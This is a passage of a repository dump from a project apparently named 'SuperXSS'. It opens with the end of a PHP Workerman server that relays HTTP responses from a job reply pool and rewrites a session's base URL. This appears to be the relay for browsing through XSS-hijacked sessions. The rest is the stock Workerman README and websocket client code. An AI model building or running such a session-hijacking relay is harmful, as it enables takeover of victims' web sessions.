}else{ 397 | if($reply_pool[$jobid]['STATUS'] == 2){ 398 | Workerman\Protocols\Http::header('HTTP', true, $reply_pool[$jobid]['STATUS_CODE']); 399 | Workerman\Protocols\Http::header('Content-Type: ' . $reply_pool[$jobid]['CT']); 400 | $content = $reply_pool[$jobid]['CONTENT']; 401 | unset($reply_pool[$jobid]); 402 | if($Config['DOMAIN_AUTO_REPLACE'] == true){ 403 | $content = str_replace('https:', '', str_replace('http:', '', str_replace(str_replace('https://','',str_replace('http://','',$currentsession['BASEURL'])), str_replace('https://','',str_replace('http://','',$Config['REPLACE_ADDR'])), $content))); 404 | } 405 | 406 | $GD_Client -> reply_pool = $reply_pool; 407 | $GD_Client -> reply_pool_lock = false; 408 | $connection -> send($content); 409 | break; 410 | }else{ 411 | $GD_Client -> reply_pool_lock = false; 412 | usleep(100000); //等待100ms 413 | } 414 | } 415 | } 416 | } 417 | } 418 | } 419 | }; 420 | 421 | Worker::runAll(); -------------------------------------------------------------------------------- /SuperXSS/Workerman/README.md: -------------------------------------------------------------------------------- 1 | # Workerman 2 | [![Gitter](https://badges.gitter.im/walkor/Workerman.svg)](https://gitter.im/walkor/Workerman?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=body_badge) 3 | [![Latest Stable Version](https://poser.pugx.org/workerman/workerman/v/stable)](https://packagist.org/packages/workerman/workerman) 4 | [![Total Downloads](https://poser.pugx.org/workerman/workerman/downloads)](https://packagist.org/packages/workerman/workerman) 5 | [![Monthly Downloads](https://poser.pugx.org/workerman/workerman/d/monthly)](https://packagist.org/packages/workerman/workerman) 6 | [![Daily Downloads](https://poser.pugx.org/workerman/workerman/d/daily)](https://packagist.org/packages/workerman/workerman) 7 | [![License](https://poser.pugx.org/workerman/workerman/license)](https://packagist.org/packages/workerman/workerman) 8 | 9 | ## What is it 10 | Workerman is an asynchronous event driven PHP framework with high performance for easily building fast, scalable network applications. Supports HTTP, Websocket, SSL and other custom protocols. Supports libevent, [HHVM](https://github.com/facebook/hhvm) , [ReactPHP](https://github.com/reactphp/react). 11 | 12 | ## Requires 13 | PHP 5.3 or Higher 14 | A POSIX compatible operating system (Linux, OSX, BSD) 15 | POSIX and PCNTL extensions for PHP 16 | 17 | ## Installation 18 | 19 | ``` 20 | composer require workerman/workerman 21 | ``` 22 | 23 | ## Basic Usage 24 | 25 | ### A websocket server 26 | ```php 27 | count = 4; 36 | 37 | // Emitted when new connection come 38 | $ws_worker->onConnect = function($connection) 39 | { 40 | echo "New connection\n"; 41 | }; 42 | 43 | // Emitted when data received 44 | $ws_worker->onMessage = function($connection, $data) 45 | { 46 | // Send hello $data 47 | $connection->send('hello ' . $data); 48 | }; 49 | 50 | // Emitted when connection closed 51 | $ws_worker->onClose = function($connection) 52 | { 53 | echo "Connection closed\n"; 54 | }; 55 | 56 | // Run worker 57 | Worker::runAll(); 58 | ``` 59 | 60 | ### An http server 61 | ```php 62 | require_once __DIR__ . '/vendor/autoload.php'; 63 | use Workerman\Worker; 64 | 65 | // #### http worker #### 66 | $http_worker = new Worker("http://0.0.0.0:2345"); 67 | 68 | // 4 processes 69 | $http_worker->count = 4; 70 | 71 | // Emitted when data received 72 | $http_worker->onMessage = function($connection, $data) 73 | { 74 | // $_GET, $_POST, $_COOKIE, $_SESSION, $_SERVER, $_FILES are available 75 | var_dump($_GET, $_POST, $_COOKIE, $_SESSION, $_SERVER, $_FILES); 76 | // send data to client 77 | $connection->send("hello world \n"); 78 | }; 79 | 80 | // run all workers 81 | Worker::runAll(); 82 | ``` 83 | 84 | ### A WebServer 85 | ```php 86 | require_once __DIR__ . '/vendor/autoload.php'; 87 | use Workerman\WebServer; 88 | use Workerman\Worker; 89 | 90 | // WebServer 91 | $web = new WebServer("http://0.0.0.0:80"); 92 | 93 | // 4 processes 94 | $web->count = 4; 95 | 96 | // Set the root of domains 97 | $web->addRoot('www.your_domain.com', '/your/path/Web'); 98 | $web->addRoot('www.another_domain.com', '/another/path/Web'); 99 | // run all workers 100 | Worker::runAll(); 101 | ``` 102 | 103 | ### A tcp server 104 | ```php 105 | require_once __DIR__ . '/vendor/autoload.php'; 106 | use Workerman\Worker; 107 | 108 | // #### create socket and listen 1234 port #### 109 | $tcp_worker = new Worker("tcp://0.0.0.0:1234"); 110 | 111 | // 4 processes 112 | $tcp_worker->count = 4; 113 | 114 | // Emitted when new connection come 115 | $tcp_worker->onConnect = function($connection) 116 | { 117 | echo "New Connection\n"; 118 | }; 119 | 120 | // Emitted when data received 121 | $tcp_worker->onMessage = function($connection, $data) 122 | { 123 | // send data to client 124 | $connection->send("hello $data \n"); 125 | }; 126 | 127 | // Emitted when new connection come 128 | $tcp_worker->onClose = function($connection) 129 | { 130 | echo "Connection closed\n"; 131 | }; 132 | 133 | Worker::runAll(); 134 | ``` 135 | 136 | ### Enable SSL 137 | ```php 138 | array( 145 | 'local_cert' => '/your/path/of/server.pem', 146 | 'local_pk' => '/your/path/of/server.key', 147 | 'verify_peer' => false, 148 | ) 149 | ); 150 | 151 | // Create a Websocket server with ssl context. 152 | $ws_worker = new Worker("websocket://0.0.0.0:2346", $context); 153 | 154 | // Enable SSL. WebSocket+SSL means that Secure WebSocket (wss://). 155 | // The similar approaches for Https etc. 156 | $ws_worker->transport = 'ssl'; 157 | 158 | $ws_worker->onMessage = function($connection, $data) 159 | { 160 | // Send hello $data 161 | $connection->send('hello ' . $data); 162 | }; 163 | 164 | Worker::runAll(); 165 | ``` 166 | 167 | ### Custom protocol 168 | Protocols/MyTextProtocol.php 169 | ```php 170 | namespace Protocols; 171 | /** 172 | * User defined protocol 173 | * Format Text+"\n" 174 | */ 175 | class MyTextProtocol 176 | { 177 | public static function input($recv_buffer) 178 | { 179 | // Find the position of the first occurrence of "\n" 180 | $pos = strpos($recv_buffer, "\n"); 181 | // Not a complete package. Return 0 because the length of package can not be calculated 182 | if($pos === false) 183 | { 184 | return 0; 185 | } 186 | // Return length of the package 187 | return $pos+1; 188 | } 189 | 190 | public static function decode($recv_buffer) 191 | { 192 | return trim($recv_buffer); 193 | } 194 | 195 | public static function encode($data) 196 | { 197 | return $data."\n"; 198 | } 199 | } 200 | ``` 201 | 202 | ```php 203 | require_once __DIR__ . '/vendor/autoload.php'; 204 | use Workerman\Worker; 205 | 206 | // #### MyTextProtocol worker #### 207 | $text_worker = new Worker("MyTextProtocol://0.0.0.0:5678"); 208 | 209 | $text_worker->onConnect = function($connection) 210 | { 211 | echo "New connection\n"; 212 | }; 213 | 214 | $text_worker->onMessage = function($connection, $data) 215 | { 216 | // send data to client 217 | $connection->send("hello world \n"); 218 | }; 219 | 220 | $text_worker->onClose = function($connection) 221 | { 222 | echo "Connection closed\n"; 223 | }; 224 | 225 | // run all workers 226 | Worker::runAll(); 227 | ``` 228 | 229 | ### Timer 230 | ```php 231 | require_once __DIR__ . '/vendor/autoload.php'; 232 | use Workerman\Worker; 233 | use Workerman\Lib\Timer; 234 | 235 | $task = new Worker(); 236 | $task->onWorkerStart = function($task) 237 | { 238 | // 2.5 seconds 239 | $time_interval = 2.5; 240 | $timer_id = Timer::add($time_interval, 241 | function() 242 | { 243 | echo "Timer run\n"; 244 | } 245 | ); 246 | }; 247 | 248 | // run all workers 249 | Worker::runAll(); 250 | ``` 251 | 252 | ### AsyncTcpConnection (tcp/ws/text/frame etc...) 253 | ```php 254 | require_once __DIR__ . '/vendor/autoload.php'; 255 | use Workerman\Worker; 256 | use Workerman\Connection\AsyncTcpConnection; 257 | 258 | $worker = new Worker(); 259 | $worker->onWorkerStart = function() 260 | { 261 | // Websocket protocol for client. 262 | $ws_connection = new AsyncTcpConnection("ws://echo.websocket.org:80"); 263 | $ws_connection->onConnect = function($connection){ 264 | $connection->send('hello'); 265 | }; 266 | $ws_connection->onMessage = function($connection, $data){ 267 | echo "recv: $data\n"; 268 | }; 269 | $ws_connection->onError = function($connection, $code, $msg){ 270 | echo "error: $msg\n"; 271 | }; 272 | $ws_connection->onClose = function($connection){ 273 | echo "connection closed\n"; 274 | }; 275 | $ws_connection->connect(); 276 | }; 277 | Worker::runAll(); 278 | ``` 279 | 280 | ### Async Mysql of ReactPHP 281 | ``` 282 | composer require react/mysql 283 | ``` 284 | 285 | ```php 286 | onWorkerStart = function() { 292 | global $mysql; 293 | $loop = Worker::getEventLoop(); 294 | $mysql = new React\MySQL\Connection($loop, array( 295 | 'host' => '127.0.0.1', 296 | 'dbname' => 'dbname', 297 | 'user' => 'user', 298 | 'passwd' => 'passwd', 299 | )); 300 | $mysql->on('error', function($e){ 301 | echo $e; 302 | }); 303 | $mysql->connect(function ($e) { 304 | if($e) { 305 | echo $e; 306 | } else { 307 | echo "connect success\n"; 308 | } 309 | }); 310 | }; 311 | $worker->onMessage = function($connection, $data) { 312 | global $mysql; 313 | $mysql->query('show databases' /*trim($data)*/, function ($command, $mysql) use ($connection) { 314 | if ($command->hasError()) { 315 | $error = $command->getError(); 316 | } else { 317 | $results = $command->resultRows; 318 | $fields = $command->resultFields; 319 | $connection->send(json_encode($results)); 320 | } 321 | }); 322 | }; 323 | Worker::runAll(); 324 | ``` 325 | 326 | ### Async Redis of ReactPHP 327 | ``` 328 | composer require clue/redis-react 329 | ``` 330 | 331 | ```php 332 | onWorkerStart = function() { 341 | global $factory; 342 | $loop = Worker::getEventLoop(); 343 | $factory = new Factory($loop); 344 | }; 345 | 346 | $worker->onMessage = function($connection, $data) { 347 | global $factory; 348 | $factory->createClient('localhost:6379')->then(function (Client $client) use ($connection) { 349 | $client->set('greeting', 'Hello world'); 350 | $client->append('greeting', '!'); 351 | 352 | $client->get('greeting')->then(function ($greeting) use ($connection){ 353 | // Hello world! 354 | echo $greeting . PHP_EOL; 355 | $connection->send($greeting); 356 | }); 357 | 358 | $client->incr('invocation')->then(function ($n) use ($connection){ 359 | echo 'This is invocation #' . $n . PHP_EOL; 360 | $connection->send($n); 361 | }); 362 | }); 363 | }; 364 | 365 | Worker::runAll(); 366 | ``` 367 | 368 | ### Aysnc dns of ReactPHP 369 | ``` 370 | composer require react/dns 371 | ``` 372 | 373 | ```php 374 | require_once __DIR__ . '/vendor/autoload.php'; 375 | use Workerman\Worker; 376 | $worker = new Worker('tcp://0.0.0.0:6161'); 377 | $worker->onWorkerStart = function() { 378 | global $dns; 379 | // Get event-loop. 380 | $loop = Worker::getEventLoop(); 381 | $factory = new React\Dns\Resolver\Factory(); 382 | $dns = $factory->create('8.8.8.8', $loop); 383 | }; 384 | $worker->onMessage = function($connection, $host) { 385 | global $dns; 386 | $host = trim($host); 387 | $dns->resolve($host)->then(function($ip) use($host, $connection) { 388 | $connection->send("$host: $ip"); 389 | },function($e) use($host, $connection){ 390 | $connection->send("$host: {$e->getMessage()}"); 391 | }); 392 | }; 393 | 394 | Worker::runAll(); 395 | ``` 396 | 397 | ### Http client of ReactPHP 398 | ``` 399 | composer require react/http-client 400 | ``` 401 | 402 | ```php 403 | onWorkerStart = function() { 410 | global $client; 411 | $loop = Worker::getEventLoop(); 412 | $factory = new React\Dns\Resolver\Factory(); 413 | $dns = $factory->createCached('8.8.8.8', $loop); 414 | $factory = new React\HttpClient\Factory(); 415 | $client = $factory->create($loop, $dns); 416 | }; 417 | 418 | $worker->onMessage = function($connection, $host) { 419 | global $client; 420 | $request = $client->request('GET', trim($host)); 421 | $request->on('error', function(Exception $e) use ($connection) { 422 | $connection->send($e); 423 | }); 424 | $request->on('response', function ($response) use ($connection) { 425 | $response->on('data', function ($data, $response) use ($connection) { 426 | $connection->send($data); 427 | }); 428 | }); 429 | $request->end(); 430 | }; 431 | 432 | Worker::runAll(); 433 | ``` 434 | 435 | ### ZMQ of ReactPHP 436 | ``` 437 | composer require react/zmq 438 | ``` 439 | 440 | ```php 441 | onWorkerStart = function() { 448 | global $pull; 449 | $loop = Worker::getEventLoop(); 450 | $context = new React\ZMQ\Context($loop); 451 | $pull = $context->getSocket(ZMQ::SOCKET_PULL); 452 | $pull->bind('tcp://127.0.0.1:5555'); 453 | 454 | $pull->on('error', function ($e) { 455 | var_dump($e->getMessage()); 456 | }); 457 | 458 | $pull->on('message', function ($msg) { 459 | echo "Received: $msg\n"; 460 | }); 461 | }; 462 | 463 | Worker::runAll(); 464 | ``` 465 | 466 | ### STOMP of ReactPHP 467 | ``` 468 | composer require react/stomp 469 | ``` 470 | 471 | ```php 472 | onWorkerStart = function() { 479 | global $client; 480 | $loop = Worker::getEventLoop(); 481 | $factory = new React\Stomp\Factory($loop); 482 | $client = $factory->createClient(array('vhost' => '/', 'login' => 'guest', 'passcode' => 'guest')); 483 | 484 | $client 485 | ->connect() 486 | ->then(function ($client) use ($loop) { 487 | $client->subscribe('/topic/foo', function ($frame) { 488 | echo "Message received: {$frame->body}\n"; 489 | }); 490 | }); 491 | }; 492 | 493 | Worker::runAll(); 494 | ``` 495 | 496 | 497 | 498 | ## Available commands 499 | ```php start.php start ``` 500 | ```php start.php start -d ``` 501 | ![workerman start](http://www.workerman.net/img/workerman-start.png) 502 | ```php start.php status ``` 503 | ![workerman satus](http://www.workerman.net/img/workerman-status.png?a=123) 504 | ```php start.php connections``` 505 | ```php start.php stop ``` 506 | ```php start.php restart ``` 507 | ```php start.php reload ``` 508 | 509 | ## Documentation 510 | 511 | 中文主页:[http://www.workerman.net](http://www.workerman.net) 512 | 513 | 中文文档: [http://doc.workerman.net](http://doc.workerman.net) 514 | 515 | Documentation:[https://github.com/walkor/workerman-manual](https://github.com/walkor/workerman-manual/blob/master/english/src/SUMMARY.md) 516 | 517 | # Benchmarks 518 | ``` 519 | CPU: Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz and 4 processors totally 520 | Memory: 8G 521 | OS: Ubuntu 14.04 LTS 522 | Software: ab 523 | PHP: 5.5.9 524 | ``` 525 | 526 | **Codes** 527 | ```php 528 | count=3; 532 | $worker->onMessage = function($connection, $data) 533 | { 534 | $connection->send("HTTP/1.1 200 OK\r\nConnection: keep-alive\r\nServer: workerman\r\nContent-Length: 5\r\n\r\nhello"); 535 | }; 536 | Worker::runAll(); 537 | ``` 538 | **Result** 539 | 540 | ```shell 541 | ab -n1000000 -c100 -k http://127.0.0.1:1234/ 542 | This is ApacheBench, Version 2.3 <$Revision: 1528965 $> 543 | Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 544 | Licensed to The Apache Software Foundation, http://www.apache.org/ 545 | 546 | Benchmarking 127.0.0.1 (be patient) 547 | Completed 100000 requests 548 | Completed 200000 requests 549 | Completed 300000 requests 550 | Completed 400000 requests 551 | Completed 500000 requests 552 | Completed 600000 requests 553 | Completed 700000 requests 554 | Completed 800000 requests 555 | Completed 900000 requests 556 | Completed 1000000 requests 557 | Finished 1000000 requests 558 | 559 | 560 | Server Software: workerman/3.1.4 561 | Server Hostname: 127.0.0.1 562 | Server Port: 1234 563 | 564 | Document Path: / 565 | Document Length: 5 bytes 566 | 567 | Concurrency Level: 100 568 | Time taken for tests: 7.240 seconds 569 | Complete requests: 1000000 570 | Failed requests: 0 571 | Keep-Alive requests: 1000000 572 | Total transferred: 73000000 bytes 573 | HTML transferred: 5000000 bytes 574 | Requests per second: 138124.14 [#/sec] (mean) 575 | Time per request: 0.724 [ms] (mean) 576 | Time per request: 0.007 [ms] (mean, across all concurrent requests) 577 | Transfer rate: 9846.74 [Kbytes/sec] received 578 | 579 | Connection Times (ms) 580 | min mean[+/-sd] median max 581 | Connect: 0 0 0.0 0 5 582 | Processing: 0 1 0.2 1 9 583 | Waiting: 0 1 0.2 1 9 584 | Total: 0 1 0.2 1 9 585 | 586 | Percentage of the requests served within a certain time (ms) 587 | 50% 1 588 | 66% 1 589 | 75% 1 590 | 80% 1 591 | 90% 1 592 | 95% 1 593 | 98% 1 594 | 99% 1 595 | 100% 9 (longest request) 596 | 597 | ``` 598 | 599 | 600 | ## Other links with workerman 601 | 602 | [PHPSocket.IO](https://github.com/walkor/phpsocket.io) 603 | [php-socks5](https://github.com/walkor/php-socks5) 604 | [php-http-proxy](https://github.com/walkor/php-http-proxy) 605 | 606 | ## Donate 607 | 608 | 609 | ## LICENSE 610 | 611 | Workerman is released under the [MIT license](https://github.com/walkor/workerman/blob/master/MIT-LICENSE.txt). 612 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Protocols/Ws.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Protocols; 15 | 16 | use Workerman\Worker; 17 | use Workerman\Lib\Timer; 18 | use Workerman\Connection\TcpConnection; 19 | 20 | /** 21 | * Websocket protocol for client. 22 | */ 23 | class Ws 24 | { 25 | /** 26 | * Websocket blob type. 27 | * 28 | * @var string 29 | */ 30 | const BINARY_TYPE_BLOB = "\x81"; 31 | 32 | /** 33 | * Websocket arraybuffer type. 34 | * 35 | * @var string 36 | */ 37 | const BINARY_TYPE_ARRAYBUFFER = "\x82"; 38 | 39 | /** 40 | * Check the integrity of the package. 41 | * 42 | * @param string $buffer 43 | * @param ConnectionInterface $connection 44 | * @return int 45 | */ 46 | public static function input($buffer, $connection) 47 | { 48 | if (empty($connection->handshakeStep)) { 49 | echo "recv data before handshake. Buffer:" . bin2hex($buffer) . "\n"; 50 | return false; 51 | } 52 | // Recv handshake response 53 | if ($connection->handshakeStep === 1) { 54 | return self::dealHandshake($buffer, $connection); 55 | } 56 | $recv_len = strlen($buffer); 57 | if ($recv_len < 2) { 58 | return 0; 59 | } 60 | // Buffer websocket frame data. 61 | if ($connection->websocketCurrentFrameLength) { 62 | // We need more frame data. 63 | if ($connection->websocketCurrentFrameLength > $recv_len) { 64 | // Return 0, because it is not clear the full packet length, waiting for the frame of fin=1. 65 | return 0; 66 | } 67 | } else { 68 | 69 | $firstbyte = ord($buffer[0]); 70 | $secondbyte = ord($buffer[1]); 71 | $data_len = $secondbyte & 127; 72 | $is_fin_frame = $firstbyte >> 7; 73 | $masked = $secondbyte >> 7; 74 | 75 | if ($masked) { 76 | echo "frame masked\n"; 77 | $connection->close(); 78 | return 0; 79 | } 80 | 81 | $opcode = $firstbyte & 0xf; 82 | 83 | switch ($opcode) { 84 | case 0x0: 85 | break; 86 | // Blob type. 87 | case 0x1: 88 | break; 89 | // Arraybuffer type. 90 | case 0x2: 91 | break; 92 | // Close package. 93 | case 0x8: 94 | // Try to emit onWebSocketClose callback. 95 | if (isset($connection->onWebSocketClose)) { 96 | try { 97 | call_user_func($connection->onWebSocketClose, $connection); 98 | } catch (\Exception $e) { 99 | Worker::log($e); 100 | exit(250); 101 | } catch (\Error $e) { 102 | Worker::log($e); 103 | exit(250); 104 | } 105 | } // Close connection. 106 | else { 107 | $connection->close(); 108 | } 109 | return 0; 110 | // Ping package. 111 | case 0x9: 112 | // Try to emit onWebSocketPing callback. 113 | if (isset($connection->onWebSocketPing)) { 114 | try { 115 | call_user_func($connection->onWebSocketPing, $connection); 116 | } catch (\Exception $e) { 117 | Worker::log($e); 118 | exit(250); 119 | } catch (\Error $e) { 120 | Worker::log($e); 121 | exit(250); 122 | } 123 | } // Send pong package to client. 124 | else { 125 | $connection->send(pack('H*', '8a00'), true); 126 | } 127 | // Consume data from receive buffer. 128 | if (!$data_len) { 129 | $head_len = 2; 130 | $connection->consumeRecvBuffer($head_len); 131 | if ($recv_len > $head_len) { 132 | return self::input(substr($buffer, $head_len), $connection); 133 | } 134 | return 0; 135 | } 136 | break; 137 | // Pong package. 138 | case 0xa: 139 | // Try to emit onWebSocketPong callback. 140 | if (isset($connection->onWebSocketPong)) { 141 | try { 142 | call_user_func($connection->onWebSocketPong, $connection); 143 | } catch (\Exception $e) { 144 | Worker::log($e); 145 | exit(250); 146 | } catch (\Error $e) { 147 | Worker::log($e); 148 | exit(250); 149 | } 150 | } 151 | // Consume data from receive buffer. 152 | if (!$data_len) { 153 | $head_len = 2; 154 | $connection->consumeRecvBuffer($head_len); 155 | if ($recv_len > $head_len) { 156 | return self::input(substr($buffer, $head_len), $connection); 157 | } 158 | return 0; 159 | } 160 | break; 161 | // Wrong opcode. 162 | default : 163 | echo "error opcode $opcode and close websocket connection. Buffer:" . $buffer . "\n"; 164 | $connection->close(); 165 | return 0; 166 | } 167 | // Calculate packet length. 168 | if ($data_len === 126) { 169 | if (strlen($buffer) < 4) { 170 | return 0; 171 | } 172 | $pack = unpack('nn/ntotal_len', $buffer); 173 | $current_frame_length = $pack['total_len'] + 4; 174 | } else if ($data_len === 127) { 175 | if (strlen($buffer) < 10) { 176 | return 0; 177 | } 178 | $arr = unpack('n/N2c', $buffer); 179 | $current_frame_length = $arr['c1']*4294967296 + $arr['c2'] + 10; 180 | } else { 181 | $current_frame_length = $data_len + 2; 182 | } 183 | 184 | $total_package_size = strlen($connection->websocketDataBuffer) + $current_frame_length; 185 | if ($total_package_size > TcpConnection::$maxPackageSize) { 186 | echo "error package. package_length=$total_package_size\n"; 187 | $connection->close(); 188 | return 0; 189 | } 190 | 191 | if ($is_fin_frame) { 192 | return $current_frame_length; 193 | } else { 194 | $connection->websocketCurrentFrameLength = $current_frame_length; 195 | } 196 | } 197 | // Received just a frame length data. 198 | if ($connection->websocketCurrentFrameLength === $recv_len) { 199 | self::decode($buffer, $connection); 200 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength); 201 | $connection->websocketCurrentFrameLength = 0; 202 | return 0; 203 | } // The length of the received data is greater than the length of a frame. 204 | elseif ($connection->websocketCurrentFrameLength < $recv_len) { 205 | self::decode(substr($buffer, 0, $connection->websocketCurrentFrameLength), $connection); 206 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength); 207 | $current_frame_length = $connection->websocketCurrentFrameLength; 208 | $connection->websocketCurrentFrameLength = 0; 209 | // Continue to read next frame. 210 | return self::input(substr($buffer, $current_frame_length), $connection); 211 | } // The length of the received data is less than the length of a frame. 212 | else { 213 | return 0; 214 | } 215 | } 216 | 217 | /** 218 | * Websocket encode. 219 | * 220 | * @param string $buffer 221 | * @param ConnectionInterface $connection 222 | * @return string 223 | */ 224 | public static function encode($payload, $connection) 225 | { 226 | if (empty($connection->websocketType)) { 227 | $connection->websocketType = self::BINARY_TYPE_BLOB; 228 | } 229 | $payload = (string)$payload; 230 | if (empty($connection->handshakeStep)) { 231 | self::sendHandshake($connection); 232 | } 233 | $mask = 1; 234 | $mask_key = "\x00\x00\x00\x00"; 235 | 236 | $pack = ''; 237 | $length = $length_flag = strlen($payload); 238 | if (65535 < $length) { 239 | $pack = pack('NN', ($length & 0xFFFFFFFF00000000) >> 32, $length & 0x00000000FFFFFFFF); 240 | $length_flag = 127; 241 | } else if (125 < $length) { 242 | $pack = pack('n*', $length); 243 | $length_flag = 126; 244 | } 245 | 246 | $head = ($mask << 7) | $length_flag; 247 | $head = $connection->websocketType . chr($head) . $pack; 248 | 249 | $frame = $head . $mask_key; 250 | // append payload to frame: 251 | for ($i = 0; $i < $length; $i++) { 252 | $frame .= $payload[$i] ^ $mask_key[$i % 4]; 253 | } 254 | if ($connection->handshakeStep === 1) { 255 | // If buffer has already full then discard the current package. 256 | if (strlen($connection->tmpWebsocketData) > $connection->maxSendBufferSize) { 257 | if ($connection->onError) { 258 | try { 259 | call_user_func($connection->onError, $connection, WORKERMAN_SEND_FAIL, 'send buffer full and drop package'); 260 | } catch (\Exception $e) { 261 | Worker::log($e); 262 | exit(250); 263 | } catch (\Error $e) { 264 | Worker::log($e); 265 | exit(250); 266 | } 267 | } 268 | return ''; 269 | } 270 | $connection->tmpWebsocketData = $connection->tmpWebsocketData . $frame; 271 | // Check buffer is full. 272 | if ($connection->maxSendBufferSize <= strlen($connection->tmpWebsocketData)) { 273 | if ($connection->onBufferFull) { 274 | try { 275 | call_user_func($connection->onBufferFull, $connection); 276 | } catch (\Exception $e) { 277 | Worker::log($e); 278 | exit(250); 279 | } catch (\Error $e) { 280 | Worker::log($e); 281 | exit(250); 282 | } 283 | } 284 | } 285 | return ''; 286 | } 287 | return $frame; 288 | } 289 | 290 | /** 291 | * Websocket decode. 292 | * 293 | * @param string $buffer 294 | * @param ConnectionInterface $connection 295 | * @return string 296 | */ 297 | public static function decode($bytes, $connection) 298 | { 299 | $data_length = ord($bytes[1]); 300 | 301 | if ($data_length === 126) { 302 | $decoded_data = substr($bytes, 4); 303 | } else if ($data_length === 127) { 304 | $decoded_data = substr($bytes, 10); 305 | } else { 306 | $decoded_data = substr($bytes, 2); 307 | } 308 | if ($connection->websocketCurrentFrameLength) { 309 | $connection->websocketDataBuffer .= $decoded_data; 310 | return $connection->websocketDataBuffer; 311 | } else { 312 | if ($connection->websocketDataBuffer !== '') { 313 | $decoded_data = $connection->websocketDataBuffer . $decoded_data; 314 | $connection->websocketDataBuffer = ''; 315 | } 316 | return $decoded_data; 317 | } 318 | } 319 | 320 | /** 321 | * Send websocket handshake data. 322 | * 323 | * @return void 324 | */ 325 | public static function onConnect($connection) 326 | { 327 | self::sendHandshake($connection); 328 | } 329 | 330 | /** 331 | * Clean 332 | * 333 | * @param $connection 334 | */ 335 | public static function onClose($connection) 336 | { 337 | $connection->handshakeStep = null; 338 | $connection->websocketCurrentFrameLength = 0; 339 | $connection->tmpWebsocketData = ''; 340 | $connection->websocketDataBuffer = ''; 341 | if (!empty($connection->websocketPingTimer)) { 342 | Timer::del($connection->websocketPingTimer); 343 | $connection->websocketPingTimer = null; 344 | } 345 | } 346 | 347 | /** 348 | * Send websocket handshake. 349 | * 350 | * @param \Workerman\Connection\TcpConnection $connection 351 | * @return void 352 | */ 353 | public static function sendHandshake($connection) 354 | { 355 | if (!empty($connection->handshakeStep)) { 356 | return; 357 | } 358 | // Get Host. 359 | $port = $connection->getRemotePort(); 360 | $host = $port === 80 ? $connection->getRemoteHost() : $connection->getRemoteHost() . ':' . $port; 361 | // Handshake header. 362 | $connection->websocketSecKey = base64_encode(md5(mt_rand(), true)); 363 | $userHeader = ''; 364 | if (!empty($connection->wsHttpHeader)) { 365 | if (is_array($connection->wsHttpHeader)){ 366 | foreach($connection->wsHttpHeader as $k=>$v){ 367 | $userHeader .= "$k: $v\r\n"; 368 | } 369 | }else{ 370 | $userHeader .= $connection->wsHttpHeader; 371 | } 372 | $userHeader = "\r\n".trim($userHeader); 373 | } 374 | $header = 'GET ' . $connection->getRemoteURI() . " HTTP/1.1\r\n". 375 | "Host: $host\r\n". 376 | "Connection: Upgrade\r\n". 377 | "Upgrade: websocket\r\n". 378 | "Origin: ". (isset($connection->websocketOrigin) ? $connection->websocketOrigin : '*') ."\r\n". 379 | (isset($connection->WSClientProtocol)?"Sec-WebSocket-Protocol: ".$connection->WSClientProtocol."\r\n":''). 380 | "Sec-WebSocket-Version: 13\r\n". 381 | "Sec-WebSocket-Key: " . $connection->websocketSecKey . $userHeader . "\r\n\r\n"; 382 | $connection->send($header, true); 383 | $connection->handshakeStep = 1; 384 | $connection->websocketCurrentFrameLength = 0; 385 | $connection->websocketDataBuffer = ''; 386 | $connection->tmpWebsocketData = ''; 387 | } 388 | 389 | /** 390 | * Websocket handshake. 391 | * 392 | * @param string $buffer 393 | * @param \Workerman\Connection\TcpConnection $connection 394 | * @return int 395 | */ 396 | public static function dealHandshake($buffer, $connection) 397 | { 398 | $pos = strpos($buffer, "\r\n\r\n"); 399 | if ($pos) { 400 | //checking Sec-WebSocket-Accept 401 | if (preg_match("/Sec-WebSocket-Accept: *(.*?)\r\n/i", $buffer, $match)) { 402 | if ($match[1] !== base64_encode(sha1($connection->websocketSecKey . "258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true))) { 403 | echo "Sec-WebSocket-Accept not match. Header:\n" . substr($buffer, 0, $pos) . "\n"; 404 | $connection->close(); 405 | return 0; 406 | } 407 | } else { 408 | echo "Sec-WebSocket-Accept not found. Header:\n" . substr($buffer, 0, $pos) . "\n"; 409 | $connection->close(); 410 | return 0; 411 | } 412 | 413 | // handshake complete 414 | 415 | // Get WebSocket subprotocol (if specified by server) 416 | if (preg_match("/Sec-WebSocket-Protocol: *(.*?)\r\n/i", $buffer, $match)) { 417 | $connection->WSServerProtocol = trim($match[1]); 418 | } 419 | 420 | $connection->handshakeStep = 2; 421 | $handshake_response_length = $pos + 4; 422 | // Try to emit onWebSocketConnect callback. 423 | if (isset($connection->onWebSocketConnect)) { 424 | try { 425 | call_user_func($connection->onWebSocketConnect, $connection, substr($buffer, 0, $handshake_response_length)); 426 | } catch (\Exception $e) { 427 | Worker::log($e); 428 | exit(250); 429 | } catch (\Error $e) { 430 | Worker::log($e); 431 | exit(250); 432 | } 433 | } 434 | // Headbeat. 435 | if (!empty($connection->websocketPingInterval)) { 436 | $connection->websocketPingTimer = Timer::add($connection->websocketPingInterval, function() use ($connection){ 437 | if (false === $connection->send(pack('H*', '898000000000'), true)) { 438 | Timer::del($connection->websocketPingTimer); 439 | $connection->websocketPingTimer = null; 440 | } 441 | }); 442 | } 443 | 444 | $connection->consumeRecvBuffer($handshake_response_length); 445 | if (!empty($connection->tmpWebsocketData)) { 446 | $connection->send($connection->tmpWebsocketData, true); 447 | $connection->tmpWebsocketData = ''; 448 | } 449 | if (strlen($buffer) > $handshake_response_length) { 450 | return self::input(substr($buffer, $handshake_response_length), $connection); 451 | } 452 | } 453 | return 0; 454 | } 455 | 456 | public static function WSSetProtocol($connection, $params) { 457 | $connection->WSClientProtocol = $params[0]; 458 | } 459 | 460 | public static function WSGetServerProtocol($connection) { 461 | return (property_exists($connection, 'WSServerProtocol')?$connection->WSServerProtocol:null); 462 | } 463 | 464 | } 465 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Protocols/Websocket.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license 